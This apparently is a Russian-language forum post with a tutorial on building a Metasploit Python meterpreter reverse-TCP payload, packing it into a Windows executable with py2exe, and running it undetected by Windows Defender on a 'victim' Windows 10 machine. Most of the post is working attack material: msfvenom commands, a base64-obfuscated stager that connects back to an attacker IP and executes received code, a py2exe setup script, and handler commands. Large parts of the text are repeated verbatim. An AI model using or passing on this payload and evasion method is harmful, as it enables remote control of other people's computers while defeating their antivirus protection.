- Регистрация
- 8 Янв 2019
- Сообщения
- 527
- Реакции
- 71
- Баллы
- 118
[SIZE=12pt]Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.[/SIZE]
[SIZE=12pt]Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.[/SIZE]
[SIZE=12pt]Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.[/SIZE]
[SIZE=12pt]В данной статье мы будем использовать:[/SIZE]
[SIZE=12pt]msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe[/SIZE]
[SIZE=12pt]Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.[/SIZE]
[SIZE=12pt]Давайте запустим Python и сделаем то, ради чего мы все тут собрались.[/SIZE]
[SIZE=12pt]Python/meterpreter/reverse_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.[/SIZE]
[SIZE=12pt]Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.[/SIZE]
[SIZE=12pt]У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).[/SIZE]
[SIZE=12pt]py -3.4 –m pip install py2exe[/SIZE]
[SIZE=12pt]или[/SIZE]
[SIZE=12pt]pip install py2exe[/SIZE]
[SIZE=12pt]Далее создадим «сырой» питоновский код с расширением .py[/SIZE]
[SIZE=12pt]msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py[/SIZE]
[SIZE=12pt]Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:[/SIZE]
[SIZE=12pt]import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))[/SIZE]
[SIZE=12pt]Теперь у нас все готово для создания бинарника.[/SIZE]
[SIZE=12pt]python34 -m py2exe.build_exe hunt.py --bundle-files 0[/SIZE]
[SIZE=12pt]Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.[/SIZE]
[SIZE=12pt]Параллельно запустим наш msf и handler для питона, запустив последовательно команды:[/SIZE]
[SIZE=12pt]msfconsole[/SIZE]
[SIZE=12pt]use exploit/multi/handler[/SIZE]
[SIZE=12pt]set PAYLOAD python/meterpreter/reverse_tcp[/SIZE]
[SIZE=12pt]set lhost 192.168.1.126[/SIZE]
[SIZE=12pt]set lport 9001[/SIZE]
[SIZE=12pt]run[/SIZE]
[SIZE=12pt]Пойдем дальше и убедимся, что сессия работает корректно.[/SIZE]
[SIZE=12pt]Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.[/SIZE]
[SIZE=12pt]Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.[/SIZE]
[SIZE=12pt]В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.[/SIZE]
[SIZE=12pt]Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.[/SIZE]
[SIZE=12pt]Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.[/SIZE]
[SIZE=12pt]В данной статье мы будем использовать:[/SIZE]
- [SIZE=12pt]Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);[/SIZE]
- [SIZE=12pt]Kali linux для использования metasploit и msfvenom (192.168.1.126); [/SIZE]
- [SIZE=12pt]Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными; [/SIZE]
- [SIZE=12pt]Python[/SIZE][SIZE=12pt] (3, но и для 2 тоже посмотрим);[/SIZE]
- [SIZE=12pt]py2exe[/SIZE][SIZE=12pt].[/SIZE]
[SIZE=12pt]msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe[/SIZE]
[SIZE=12pt]Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.[/SIZE]
[SIZE=12pt]Давайте запустим Python и сделаем то, ради чего мы все тут собрались.[/SIZE]
[SIZE=12pt]Python/meterpreter/reverse_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.[/SIZE]
[SIZE=12pt]Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.[/SIZE]
[SIZE=12pt]У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).[/SIZE]
[SIZE=12pt]py -3.4 –m pip install py2exe[/SIZE]
[SIZE=12pt]или[/SIZE]
[SIZE=12pt]pip install py2exe[/SIZE]
[SIZE=12pt]Далее создадим «сырой» питоновский код с расширением .py[/SIZE]
[SIZE=12pt]msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py[/SIZE]
[SIZE=12pt]Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:[/SIZE]
[SIZE=12pt]import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))[/SIZE]
[SIZE=12pt]Теперь у нас все готово для создания бинарника.[/SIZE]
[SIZE=12pt]python34 -m py2exe.build_exe hunt.py --bundle-files 0[/SIZE]
[SIZE=12pt]Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.[/SIZE]
[SIZE=12pt]Параллельно запустим наш msf и handler для питона, запустив последовательно команды:[/SIZE]
[SIZE=12pt]msfconsole[/SIZE]
[SIZE=12pt]use exploit/multi/handler[/SIZE]
[SIZE=12pt]set PAYLOAD python/meterpreter/reverse_tcp[/SIZE]
[SIZE=12pt]set lhost 192.168.1.126[/SIZE]
[SIZE=12pt]set lport 9001[/SIZE]
[SIZE=12pt]run[/SIZE]
[SIZE=12pt]Пойдем дальше и убедимся, что сессия работает корректно.[/SIZE]
[SIZE=12pt]Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.[/SIZE]
[SIZE=12pt]Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.[/SIZE]
- [SIZE=12pt]Качаем [/SIZE][SIZE=12pt]py2exe[/SIZE][SIZE=12pt] для python 2 [/SIZE]
- [SIZE=12pt]Генерируем payload с расширением .py [/SIZE]
- [SIZE=12pt]Создаем файл setup.py и пишем туда следующее:
from distutils.core import setup import py2exe setup( name = ‘Meter’, description = ‘Python-based App’, version = ‘1.0’, console=[‘hunt.py’], options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}}, zipfile = None, ) [/SIZE] - [SIZE=12pt]python.exe .\setup.py py2exe[/SIZE]
[SIZE=12pt]В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.[/SIZE]

